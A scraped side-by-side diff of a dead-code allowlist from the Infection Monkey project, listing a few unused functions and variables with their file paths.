||||||
_.get_wmi_info # unused method (monkey/infection_monkey/system_info/windows_info_collector.py:63)
|
|
||||||
|
|
||||||
|
|
||||||
# potentially unused (there may also be unit tests referencing these)
|
# potentially unused (there may also be unit tests referencing these)
|
||||||
LOG_DIR_NAME # unused variable (envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py:8)
|
LOG_DIR_NAME # unused variable (envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py:8)
|
||||||
delete_logs # unused function (envs/monkey_zoo/blackbox/test_blackbox.py:85)
|
delete_logs # unused function (envs/monkey_zoo/blackbox/test_blackbox.py:85)
|
||||||
|
|
Loading…
Reference in New Issue